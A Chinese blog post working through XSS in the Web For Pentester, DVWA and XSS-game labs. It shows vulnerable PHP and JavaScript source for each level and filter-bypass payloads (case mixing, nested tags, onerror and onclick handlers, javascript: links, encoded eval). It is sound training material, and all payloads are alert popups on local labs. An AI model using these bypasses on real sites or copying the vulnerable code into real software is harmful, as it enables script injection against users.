本文最后更新于 2026-01-21T23:44:47+08:00
打CTF见过一些关于 XSS 的题,但是一直没有系统的学习一下,刚好翻到了国光大佬的 XSS 文章,就想着借此跟着学习一下
学习文章:https://www.sqlsec.com/2020/01/xss.html
XSS 简介 XSS 攻击(跨站脚本攻击)是指攻击者通过特殊手段,将恶意的 JavaScript 脚本代码插入到网页中,当其他的用户访问浏览这个网页时,恶意脚本就会在其浏览器中执行,从而对用户的浏览器发起 Cookie 窃取、会话劫持、钓鱼欺骗等攻击,XSS 攻击本身对 Web 服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。
XSS 攻击的核心原理是:网站对用户的输入没有进行充分的过滤和转义,就将其作为网页的一部分输出给其他用户。
XSS 例子 下面的 HTML 代码演示了一个最基本的 XSS 弹窗:
1 2 3 4 5 <html > <body > <script > alert ("XSS" )</script > </body > </html >
在浏览器中打开这个 HTML 文件的时候,浏览器会解析 HTML,遇到了<script>标签时会执行其中的 JavaScript 代码alert("XSS"),达到弹出消息弹窗的效果:
XSS 危害
网络钓鱼
盗取用户 cookies 信息
劫持用户浏览器
强制弹出广告页面、刷流量
网页挂马
进行恶意操作,例如任意篡改页面信息
获取客户端隐私信息
控制受害者机器向其他网站发起攻击
结合其他漏洞,如 CSRF 漏洞,实施进一步作恶
提升用户权限,包括进一步渗透网站
传播跨站脚本蠕虫等
XSS 分类 反射型 XSS(非持久型) 反射型 XSS 也称作非持久型、参数型跨站脚本。攻击脚本作为请求的一部分发送到服务器,然后立即 “反射” 回客户端并在浏览器中执行,不存储在服务器上。需要用户点击一个恶意链接才能攻击成功,恶意代码在 URL 参数中
假设一个页面把用户输入的参数直接输出到页面上:
1 2 3 <?php echo "<h1>" .$_GET ['param' ]."</h1>" ;?>
用户向param提交的数据会被包含在<h1>标签中展示出来:
此时查看页面源代码可以看到:
如果提交的是一句 JavaScript 代码:
1 http://127.0.0.1/xss.php?param=<script > alert ("XSS" )</script >
可以看到alert("XSS")在当前页面中执行了
此时再查看页面源代码:
1 <h1 > <script > alert(233)</script > </h1 >
这里用户输入的 JavaScript 代码就被写入到页面中,这就是最经典的反射型 XSS,特点就是只在用户浏览时触发,并且只执行一次,非持久化,所以称为反射型 XSS。
因为恶意代码暴露在 URL 参数中,并且要求用户浏览才能触发,有点安全意识的用户就会看穿链接不可信,所以反射型 XSS 的危害往往不如持久型 XSS。
常见位置:
搜索框
错误信息页面
表单提交结果页
URL重定向参数
存储型 XSS(持久型) 提交的恶意脚本被存储在服务器上(数据库、文件系统、内存等),下次请求目标页面时不用再提交恶意代码,每次用户访问受影响页面时都会执行。最经典的例子就是留言板 XSS。
先搭一个数据库来模拟留言板复现存储型 XSS 漏洞,新建一个名叫xss的数据库
里面新建一个message表来存放用户的留言信息,字段名分别是:id、username、message,将id设为主键并勾选自动递增
然后就是写一个 PHP 后端页面,借用国光大佬写好的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <meta charset="utf-8" ><?php error_reporting (0 );$host = "localhost" ; $port = "3306" ; $user = "root" ; $pwd = "123456" ; $dbname = "xss" ; $conn = new mysqli ($host ,$user ,$pwd ,$dbname ,$port );?> <!-- 前端用户输入表单 --> <h1>留言板的存储型XSS</h1> <form method="post" > <input type="text" name="username" placeholder="姓名" > <input type="text" name="message" placeholder="请输入您的留言" > <input type="submit" > </form><?php $username =$_POST ['username' ];$message =$_POST ['message' ];if ($username and $message ) { $sql ="INSERT INTO `message`(`username`, `message`) VALUES ('{$username} ','{$message} ')" ; if ($conn ->query ($sql ) === TRUE ) { echo "留言成功" ."<br>" ; } else { echo "Error: " . $sql . "<br>" . $conn ->error; } }else { echo "请填写完整信息" ."<br>" ; }$sql = "SELECT username, message FROM message" ;$result = $conn ->query ($sql );if ($result ->num_rows > 0 ) { while ($row = $result ->fetch_assoc ()) { echo "用户名:" . $row ["username" ]. "留言内容:" . $row ["message" ]."<br>" ; } } else { echo "暂无留言" ; }?>
配置好后保存为 PHP 文件,放小皮开 HTTP 服务访问:
从代码可以看出,用户在前端提交,留言内容,然后可以看到自己留言的信息,代码中也没有任何的过滤,直接将用户的语句插入到网页中,并存储到数据库中,这就很容易产生存储型 XSS 漏洞
当攻击者直接在留言板中输入<script>alert("XSS")</script>,就会到这句恶意代码直接被存储到数据库中,经过网页解析会被执行,导致用户每次浏览这个网页就会弹窗:
查看网页源代码:
1 <br > 用户名:Colourful留言内容:<script > alert ("XSS" )</script > <br >
常见位置:
用户评论/留言
用户资料(昵称、签名)
论坛帖子
博客文章
产品评价
DOM XSS
DOM节点是文档对象模型(Document Object Model)中的基本单元,它代表了HTML/XML文档中的每一个组成部分。当浏览器加载一个网页时,它会将HTML代码解析成一个由节点组成的树状结构,这就是DOM树。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <html > <head > <title > 页面标题</title > </head > <body > <h1 > 主标题</h1 > <p > 这是一个段落</p > </body > </html > 文档节点 (Document) └── 元素节点: <html > ├── 元素节点: <head > │ └── 元素节点: <title > │ └── 文本节点: "页面标题" └── 元素节点: <body > ├── 元素节点: <h1 > │ └── 文本节点: "主标题" └── 元素节点: <p > └── 文本节点: "这是一个段落"
通过修改页面的 DOM 节点形成的 XSS 称为 DOM XSS。DOM XSS 的 XSS 代码并不需要服务器解析响应的直接参与,触发 XSS 靠的就是浏览器端的 DOM 解析,可以认为完全是客户端的事情。漏洞存在于客户端 JavaScript 代码中,不涉及服务器端处理。
含有 DOM XSS 漏洞的 HTML 代码:
1 2 3 4 5 6 7 8 9 10 11 12 <meta charset ="UTF-8" > <script > function xss ( ){ var str = document .getElementById ("src" ).value ; document .getElementById ("demo" ).innerHTML = "<img src='" +str+"' />" ; } </script > <input type ="text" id ="src" size ="50" placeholder ="输入图片地址" /> <input type ="button" value ="插入" onclick ="xss()" /> <br > <div id ="demo" > </div >
这段代码的功能就是会将用户输入的图片地址插入在id="demo"的div标签中,从而显示在网页:
代码中同样也是没有对用户输入的内容进行过滤和转义,当攻击者构造以下恶意代码输入时:
1 ' onerror="alert(' XSS ')"
就会直接在img标签中插入onerror事件,表示当图片加载出错时,会自动触发后面的alert('XSS')代码,从而达到弹窗的效果。
XSS 靶场 Web For Pentester 环境搭建 下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
用VMware挂载下载的.iso文件
新建一个虚拟机
后面配置,默认下一步就好
完成后打开,选择Live方式运行(应该默认是这个,不用换),然后查看下 IP 地址:
浏览器访问即可
第1关:无过滤 源码:
1 2 3 <?php echo $_GET ["name" ];?>
可以发现 URL 中有个name参数,值为hacker,会直接显示在页面中,是反射型 XSS
1 /xss/example1.php?name =Hello XSS
payload:
1 /xss/example1.php?name =<script > alert ('XSS' )</script >
第2关:大小写绕过 源码:
1 2 3 4 5 6 <?php $name = $_GET ["name" ];$name = preg_replace ("/<script>/" ,"" , $name );$name = preg_replace ("/<\/script>/" ,"" , $name );echo $name ;?>
使用了preg_replace函数进行过滤,会将<script>和<\/script>标签替换为空,但是这个正则表达式没有匹配大小写,所以可以利用大小写绕过
payload:
1 /xss/example2.php?name =<Script > alert ('XSS' )</Script >
第3关:嵌套绕过 源码:
1 2 3 4 5 6 <?php $name = $_GET ["name" ];$name = preg_replace ("/<script>/i" ,"" , $name );$name = preg_replace ("/<\/script>/i" ,"" , $name );echo $name ;?>
这是在第2关的基础上在正则表达式中加入了/i,表示不区分大小写,就不能使用大小写绕过,但是因为是会将关键词替换为空,所以可以利用嵌套绕过:
里面的<script>被替换为空后,外层的就可以拼接成一个完整的<script>标签,另一个同理
payload:
1 /xss/example3.php?name =<scr<script > ipt>alert ('XSS' )</scr </script > ipt>
第4关:其他标签绕过 源码:
1 2 3 4 5 6 7 8 9 <?php require_once '../header.php' ;if (preg_match ('/script/i' , $_GET ["name" ])) { die ("error" ); }?> Hello <?php echo $_GET ["name" ]; ?>
这一题不仅对关键词进行不区分大小写的匹配,而且遇到关键词不是替换为空,而是直接调用die("error");终止程序运行,但只是禁用了script,还是可以用其他标签来触发的,比如上面 DOM XSS 中的<img src=x onerror=alert('XSS')>
payload:
1 /xss/example4.php?name =<img src =x onerror =alert("XSS")>
第5关:编码绕过 源码:
1 2 3 4 5 6 7 8 9 <?php require_once '../header.php' ;if (preg_match ('/alert/i' , $_GET ["name" ])) { die ("error" ); }?> Hello <?php echo $_GET ["name" ]; ?>
这一关是对alert这个关键字进行不分大小写的匹配过滤,可以对alert进行编码绕过,也使用其他类似于alert的方法来绕过,像:confirm、prompt
payload1:
1 /xss/example5.php?name =<script > confirm ('XSS' )</script >
1 /xss/example5.php?name =<script > prompt ('XSS' )</script >
payload2:
可以利用String.fromCharCode()来编码绕过,利用 HackBar 可以很方便生成
1 String .fromCharCode (97 , 108 , 101 , 114 , 116 , 40 , 34 , 88 , 83 , 83 , 34 , 41 )
1 /xss/example5.php?name =<script > eval (String .fromCharCode (97 , 108 , 101 , 114 , 116 , 40 , 34 , 88 , 83 , 83 , 34 , 41 ))</script >
第6关:闭合双引号 源码:
1 2 3 <script> var $a = "<?php echo $_GET [" name"]; ?>" ; </script>
看源码可以看出这是直接将通过 GET 方式传入的name变量的值输出到<script>标签中,可以看到$a后面的是用双引号引起来的,可以将前后的两个双引号闭合起来,然后传入恶意代码,或者是用//来注释
payload1:
前面的可以用双引号闭合起来,再加一个分号分隔,后面的先加一个分号,然后加一个双引号闭合后面的
1 /xss/ example6.php?name=";alert(" XSS");"
payload2:
后面的双引号也可以直接用//来注释掉
1 /xss/example6.php?name =";alert(" XSS");//
第7关:闭合单引号 源码:
1 2 3 <script> var $a = '<?php echo htmlentities($_GET["name"]); ?>' ; </script>
这一题和上题一样是将输入的内容直接输出在<script>标签中,区别是这题$a后面使用的单引号,并且 PHP 代码中使用了htmlentities()函数,这个函数会将字符转化为 HTML 实体,这就会对双引号进行特殊编码
但是这个函数对单引号不会特殊编码,刚好是用单引号来闭合的,所以和上题一样,改成用单引号就好,也可以用注释
payload1:
1 /xss/ example7.php?name=';alert(' XSS');'
payload2:
1 /xss/example7.php?name =';alert(' XSS');//
第8关:PHP_SELF 源码:
1 2 3 4 5 6 7 8 9 10 <?php require_once '../header.php' ;if (isset ($_POST ["name" ])) { echo "HELLO " .htmlentities ($_POST ["name" ]); }?> <form action="<?php echo $_SERVER ['PHP_SELF']; ?>" method="POST" > Your name:<input type="text" name="name" /> <input type="submit" name="submit" />
这一题的 PHP 代码部分使用了htmlentities()函数对 POST 参数name进行实体化,并且使用的是双引号,这种方式是比较安全的
但是注意下面这段代码:
1 <form action ="<?php echo $_SERVER['PHP_SELF']; ?>" method ="POST" >
$_SERVER['PHP_SELF']是 PHP 的一个超全局变量,会返回当前正在执行的脚本的文件路径
这里PHP_SELF是可控的,并且没有经过任何过滤直接输入到form标签中,所以可以在这里进行闭合从而打 XSS
payload1:
直接闭合引号和标签,用<script>标签来弹窗:
1 /xss/example8.php/"><script > alert ('XSS' )</script > //
payload2:
只闭合引号,用onclick,通过事件来触发弹窗:
1 /xss/ example8.php/"onclick=alert('XSS')/ /
在 URL 中输入回车后,再点一下提交就可以触发弹窗
第9关:location.hash 源码:
1 2 3 <script> document.write (location.hash.substring (1 )); </script>
Window location.hash属性:https://www.w3school.com.cn/jsref/prop_loc_hash.asp
这里通过location.hash来获取URL中的锚部分(#及后面的部分),substring(1)可以去掉开头的#号,使用document.write()将内容直接写入到文档中
payload:
1 /xss/example9.php#<script > alert ('XSS' )</script >
在 Chrome 和 FireFox 浏览器里尖括号会被自动转码,就不能正常触发 XSS:
看文章里说在 IE 内核的浏览器上可以正常运行,我也没找到成功的
DVWA 环境搭建 下载地址:https://github.com/ethicalhack3r/DVWA/archive/master.zip
将下载好的压缩包解压放到小皮里搭建,我以前搭过的就不重新搭了
默认的账户名为:admin,密码为:password
可以在 DVWA Security 中设置难度:
反射型 XSS Low 源码:
1 2 3 4 5 6 7 8 9 10 11 <?php header ("X-XSS-Protection: 0" );if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { echo '<pre>Hello ' . $_GET [ 'name' ] . '</pre>' ; }?>
无过滤,只要name不为空就将其包含在<pre>里直接输出到网页中
payload:
1 <script > alert ("XSS" )</script >
Medium 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php header ("X-XSS-Protection: 0" );if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { $name = str_replace ( '<script>' , '' , $_GET [ 'name' ] ); echo "<pre>Hello {$name} </pre>" ; }?>
利用str_replace()函数将<script>标签替换为空,可以使用大小写绕过、嵌套绕过、其他标签绕过
大小写绕过
1 <Script >alert ("XSS" )</Script >
嵌套绕过
1 <scr<script>ipt>alert ("XSS" )</script>
其他标签绕过
1 <img src=x onerror=alert ('XSS' )>
High 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php header ("X-XSS-Protection: 0" );if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { $name = preg_replace ( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i' , '' , $_GET [ 'name' ] ); echo "<pre>Hello {$name} </pre>" ; }?>
这里过滤更严格,不区分大小写,并且使用通配符来匹配<script>,但还是可以用其他标签来绕过
payload:
1 <img src=x onerror=alert ('XSS' )>
Impossible 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $name = htmlspecialchars ( $_GET [ 'name' ] ); echo "<pre>Hello {$name} </pre>" ; }generateSessionToken ();?>
代码里使用htmlspecialchars()函数对变量name进行 HTML 实体化,并使用双引号,输出在<pre>标签里,就没什么方法可以绕过了
DOM XSS Low 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <div class ="vulnerable_code_area "> <p >Please choose a language :</p > <form name ="XSS " method ="GET "> <select name ="default "> <script > if (document .location .href .indexOf ("default =") >= 0) { var lang = document.location.href.substring (document.location.href.indexOf ("default=" )+8 ); document.write ("<option value='" + lang + "'>" + $decodeURI (lang) + "</option>" ); document.write ("<option value='' disabled='disabled'>----</option>" ); } document.write ("<option value='English'>English</option>" ); document.write ("<option value='French'>French</option>" ); document.write ("<option value='Spanish'>Spanish</option>" ); document.write ("<option value='German'>German</option>" ); </script> </select> <input type="submit" value="Select" /> </form> </div>
1 2 var lang = document .location .href .substring (document .location .href .indexOf ("default=" )+8 );document .write ("<option value='" + lang + "'>" + decodeURI (lang) + "</option>" );
通过document.location.href中 URL 中的default参数获取到用户输入,没有经过过滤直接拼接到option 标签中,通过document.write()输出到页面
payload:
1 ?default =<script > alert ("XSS" )</script >
Medium 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php if ( array_key_exists ( "default" , $_GET ) && !is_null ($_GET [ 'default' ]) ) { $default = $_GET ['default' ]; if (stripos ($default , "<script" ) !== false ) { header ("location: ?default=English" ); exit ; } }?>
在 Low 的基础上,对default内容进行过滤,使用stripos()函数查找<script在default变量中第一次出现的位置(不区分大小写),如果可以查找到,就会自动将 URL 后的参数修改为?default=English,这里可以用其他标签进行绕过
payload1:
使用img标签来绕过:
1 ?default =<img src =x onerror =alert( 'XSS ')>
****
payload2:
直接使用input的事件弹窗:
1 ?default =<input onclick =alert( 'XSS ') />
输入回车后,再点击一次输入框触发弹窗
High 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if ( array_key_exists ( "default" , $_GET ) && !is_null ($_GET [ 'default' ]) ) { switch ($_GET ['default' ]) { case "French" : case "English" : case "German" : case "Spanish" : break ; default : header ("location: ?default=English" ); exit ; } }?>
使用白名单来过滤,如果default的值不是French、English、German、Spanish其中一个的话,就会重置 URL 后的参数为?default=English
payload1:
可以使用&连接另一个自定义变量来绕过
1 ?default =English &a=<img src =x onerror =alert( 'XSS ')>
1 ?default =English &a=<input onclick =alert( 'XSS ') />
payload2:
可以使用#来绕过
1 ?default =#<img src=x onerror=alert ('XSS' )>
1 ?default =#<input onclick=alert ('XSS' ) />
Impossible 1 2 3 4 5 $decodeURI = "decodeURI" ;if ($vulnerabilityFile == 'impossible.php' ) { $decodeURI = "" ; }
Impossible 级别直接不对输入内容进行 URL 解码了,这样会导致标签失效,从而无法 XSS
存储型 XSS Low 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php if ( isset ( $_POST [ 'btnSign' ] ) ) { $message = trim ( $_POST [ 'mtxMessage' ] ); $name = trim ( $_POST [ 'txtName' ] ); $message = stripslashes ( $message ); $message = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $message ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $name = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $name ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message ', '$name ' );" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); }?>
设置的 POST 参数btnSign来检查是否是提交留言的
然后设置了俩 POST 参数mtxMessage和txtName,并且都使用了trim()函数去除字符串两端的空白字符(空格、制表符、换行符)
然后使用stripslashes()函数对去除变量$message中的反斜杠,
然后使用mysqli_real_escape_string()函数对输入的内容进行转义特殊字符
最后将数据提交插入到数据库中
虽然对提交的内容进行了过滤和转义,但都只是对数据库进行的防护,没有对 XSS 进行防护,可以进行 XSS
payload:
1 2 Name : suzenMessage : <script > alert ('XSS' )</script >
然后可以把数据库中的这个记录删去,便于做后面的
函数补充 trim 语法:
参数
描述
string
必需,规定要检查的字符串
charlist
可选,规定从字符串中删除哪些字符
作用: 可以移除string字符两侧的预定义字符
如果charlist被省略,就会移除下面所有的字符:
符号
描述
\0
NULL
\t
制表符
\n
换行
\x0B
垂直制表符
\r
回车
空格
stripslashes 语法:
作用: 去除掉 string 字符的反斜杠 \,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据
mysql_real_escape_string 语法: 1 mysql_real_escape_string (string ,connection)
作用: 转义 SQL 语句中使用的字符串中的特殊字符:\x00、\n、\r、\、'、“、\x1a
参数
描述
string
必需,规定要转义的字符串
connection
可选,规定 MySQL 连接,如果未规定,则使用上一个连接
Medium 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if ( isset ( $_POST [ 'btnSign' ] ) ) { $message = trim ( $_POST [ 'mtxMessage' ] ); $name = trim ( $_POST [ 'txtName' ] ); $message = strip_tags ( addslashes ( $message ) ); $message = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $message ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $message = htmlspecialchars ( $message ); $name = str_replace ( '<script>' , '' , $name ); $name = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $name ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message ', '$name ' );" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); }?>
和 Low 的区别就是对$message变量使用addslashes()、strip_tags()和htmlspecialchars()这三个函数进行转义和 HTML 实体化
还有使用str_replace()函数将<script> 替换为空,可以使用大小写绕过、嵌套绕过、其他标签绕过
message变量几乎把所有的能 XSS 都过滤了,但是name只过滤了<script>,所以可以再name处进行 XSS,不过name的input限制了文本长度,可以在前端临时修改一下:
也可以去找源码修改:
1 \dvwa\vulnerabilities\xss_s\index.php
payload1:
1 <Script >alert ('XSS' )</script>
payload2:
1 <scr<script>ipt>alert ('XSS' )</script>
payload3:
1 <img src=x onerror=alert ("XSS" )>
函数补充 addslashes 语法:
作用: 返回在预定义字符之前添加反斜杠的字符串:单引号‘、双引号“、反斜杠\、NULL
语法: 1 strip_tags (string ,allow)
作用: 剥去字符串中的 HTML、XML 以及 PHP 的标签
参数
描述
string
必需,规定要检查的字符串
allow
可选,规定允许的标签。这些标签不会被删除
htmlspecialchars 把预定义的字符转换为 HTML 实体:和号&、双引号“、单引号‘、小于号<、大于号>
High 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if ( isset ( $_POST [ 'btnSign' ] ) ) { $message = trim ( $_POST [ 'mtxMessage' ] ); $name = trim ( $_POST [ 'txtName' ] ); $message = strip_tags ( addslashes ( $message ) ); $message = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $message ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $message = htmlspecialchars ( $message ); $name = preg_replace ( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i' , '' , $name ); $name = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $name ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message ', '$name ' );" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); }?>
$message仍然还是不太能绕过,再看$name换成了使用preg_replace()函数,用正则匹配不区分大小写来过滤<script>标签,并且使用了通配符,可以使用其他标签来绕过
payload:
1 <img src=x onerror=alert ("XSS" )>
Impossible 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if ( isset ( $_POST [ 'btnSign' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $message = trim ( $_POST [ 'mtxMessage' ] ); $name = trim ( $_POST [ 'txtName' ] ); $message = stripslashes ( $message ); $message = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $message ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $message = htmlspecialchars ( $message ); $name = stripslashes ( $name ); $name = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $name ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $name = htmlspecialchars ( $name ); $data = $db ->prepare ( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data ->bindParam ( ':message' , $message , PDO::PARAM_STR ); $data ->bindParam ( ':name' , $name , PDO::PARAM_STR ); $data ->execute (); }generateSessionToken ();?>
对$message和$name都是严格过滤,不太能绕过了,并且检测用户的Token,防止 CSRF 攻击
XSS 小游戏(国光改编版) 环境搭建 项目地址:https://github.com/sqlsec/xssgame
直接解压放到小皮里就行,不要配置数据库
第1关:无过滤 源码:
1 2 3 4 5 <?php ini_set ("display_errors" , 0 );$str = $_GET ["name" ];echo "<h2 align=center>欢迎用户:" .$str ."</h2>" ;?>
直接将传给 GET 参数name的内容包含在<h2>标签中输出到网页
payload:
1 /level1.php?name =<script > alert ('xss' )</script >
第2关:闭合双引号 源码:
1 2 3 4 5 6 7 8 9 10 <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level2.php method=GET> <input name=keyword value="' .$str .'"> <input type=submit name=submit value="搜索"/> </form> </center>' ;?>
有个 GET 参数keyword,赋值给$str变量,然后会经过htmlspecialchars()函数进行 HTML 实体化输出出来,不过input标签中没有任何过滤,可以闭合双引号来触发事件
payload:
1 " onclick=alert('XSS') //
然后点一下输入框即可触发
第3关:闭合单引号 源码:
1 2 3 4 5 6 7 8 9 10 <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" ."<center> <form action=level3.php method=GET> <input name=keyword value='" .htmlspecialchars ($str )."'> <input type=submit name=submit value=搜索 /> </form> </center>" ;?>
在input标签处也使用了htmlspecialchars()函数进行 HTML 实体化,不过value后使用的是单引号,可以闭合单引号来触发事件
payload:
1 ' onclick=alert(' XSS ') //
然后点一下输入框即可触发
第4关:闭合双引号+绕过尖括号 源码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str2 =str_replace (">" ,"" ,$str );$str3 =str_replace ("<" ,"" ,$str2 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level4.php method=GET> <input name=keyword value="' .$str3 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?>
在第2关的基础上,多了使用str_replace()函数将尖括号<、>替换为空,但也仍可以用触发事件绕过
payload:
1 " onclick=alert('XSS') //
然后点一下输入框即可触发
第5关:javascript伪协议 源码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("<script" ,"<scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level5.php method=GET> <input name=keyword value="' .$str3 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?>
使用strtolower()函数将keyword变量中所有的字符转换为小写,防止大小写绕过,然后使用str_replace()函数将<script替换为<scr_ipt,将on替换为o_n
可以闭合双引号和标签,使用href标签,通过 javascript 伪协议来触发,格式:
1 javascript :要执行的JavaScript 代码
payload:
1 "><a href=javascript:alert('XSS') //
然后点一下超链接即可触发
第6关:大小写绕过 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str2 =str_replace ("<script" ,"<scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level6.php method=GET> <input name=keyword value="' .$str6 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?>
使用str_replace()函数过滤了更多的关键词,不过没有使用strtolower()转换为小写,可以通过大小写绕过
payload1:
1 " Onclick=alert('XSS') //
payload2:
1 "><a Href=javascript:alert('XSS') //
第7关:嵌套构造 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php ini_set ("display_errors" , 0 );$str =strtolower ( $_GET ["keyword" ]);$str2 =str_replace ("script" ,"" ,$str );$str3 =str_replace ("on" ,"" ,$str2 );$str4 =str_replace ("src" ,"" ,$str3 );$str5 =str_replace ("data" ,"" ,$str4 );$str6 =str_replace ("href" ,"" ,$str5 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level7.php method=GET> <input name=keyword value="' .$str6 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?>
在上一关的基础上使用了strtolower()函数转化为小写,防止大小写绕过,但可以利用嵌套绕过
payload1:
1 " oonnclick=alert('XSS') //
payload2:
1 "><a hrhrefef=javascrscriptipt:alert('XSS') //
第8关:HTML编码 源码:
